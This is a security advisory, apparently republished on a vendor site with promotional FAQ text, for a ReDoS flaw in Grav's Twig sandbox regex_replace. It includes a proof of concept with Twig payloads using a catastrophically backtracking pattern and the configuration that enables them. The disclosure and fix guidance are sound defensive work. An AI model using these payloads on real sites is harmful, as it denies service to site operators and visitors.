Summary
Grav: Authenticated ReDoS via regex_replace in Twig Sandbox
The regex_replace filter and function are allowlisted in Grav's Twig content sandbox. When Twig processing in page content is enabled security.twig_content.process_enabled: true, authenticated page editors can supply a catastrophically backtracking PCRE pattern, causing unbounded CPU consumption and denying service to the entire web server process.
Details
The Twig sandbox allowlists, defined in system/config/security.yaml, explicitly include regex_replace in both the filter and function permission lists:
Source: system/config/security.yaml
twig_sandbox:
allowed_filters:
# ...
- regex_replace # user-controlled pattern allowed in sandbox
allowed_functions:
# ...
- regex_replace # same
The underlying implementation passes the caller-controlled $pattern directly into PHP's preg_replace() without any pattern complexity validation:
Source: system/src/Grav/Common/Twig/Extension/GravExtension.php:1317-1319
public function regexReplace($subject, $pattern, $replace, $limit = -1)
{
return preg_replace($pattern, $replace, $subject, $limit);
}
When twig_content.process_enabled is true, page body content is sandboxed but can use any allowlisted filter. An editor who embeds a catastrophic backtracking pattern causes the PCRE engine to enter exponential time complexity, consuming 100% CPU until the PHP process is killed or the request times out.
Conditions required:
security.twig_content.process_enabled: true(opt-in,falseby default on fresh 2.0 installs)security.twig_sandbox.enabled: true(default) - the function is reachable under sandbox- Attacker must have page edit access (authenticated contributor / editor role)
PoC
Configuration prerequisite - enable Twig in content:
# user/config/security.yaml
twig_content:
process_enabled: true
Payload, embed in any Grav page body with process: { twig: true } in frontmatter:
---
title: Test
process:
twig: true
---
{{ 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab'|regex_replace('/^(a+)+$/', '') }}
Or as a function call in a page where the editor has Twig access:
{{ regex_replace('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab', '/^(a+)+$/', '') }}
Result: The PHP-FPM worker (or CLI server process) enters catastrophic PCRE backtracking. On a 2 GHz host, a 32-character string with the above pattern will exhaust one CPU core for seconds to minutes. With a slightly longer string, the time grows exponentially.
Impact
Vulnerability type: Regular Expression Denial of Service - ReDoS
Who is impacted: Server availability. Any Grav installation where:
- An editor-role account exists (or has been compromised), AND
- The operator has enabled
twig_content.process_enabled: true
An attacker with page-edit access can render the site unresponsive for all visitors by publishing a page with a catastrophic regex. On single-worker PHP configurations this is a complete outage. On multi-worker setups, multiple concurrent page renders of the malicious page can saturate all workers.
A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-62672? CVE-2026-62672 is a medium-severity inefficient regular expression (ReDoS) vulnerability in getgrav/grav (composer), affecting versions < 2.0.4. It is fixed in 2.0.4. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
- Which versions of getgrav/grav are affected by CVE-2026-62672? getgrav/grav (composer) versions < 2.0.4 is affected.
- Is there a fix for CVE-2026-62672? Yes. CVE-2026-62672 is fixed in 2.0.4. Upgrade to this version or later.
- Is CVE-2026-62672 exploitable, and should I be worried? Whether CVE-2026-62672 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-62672 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-62672? Upgrade
getgrav/gravto 2.0.4 or later.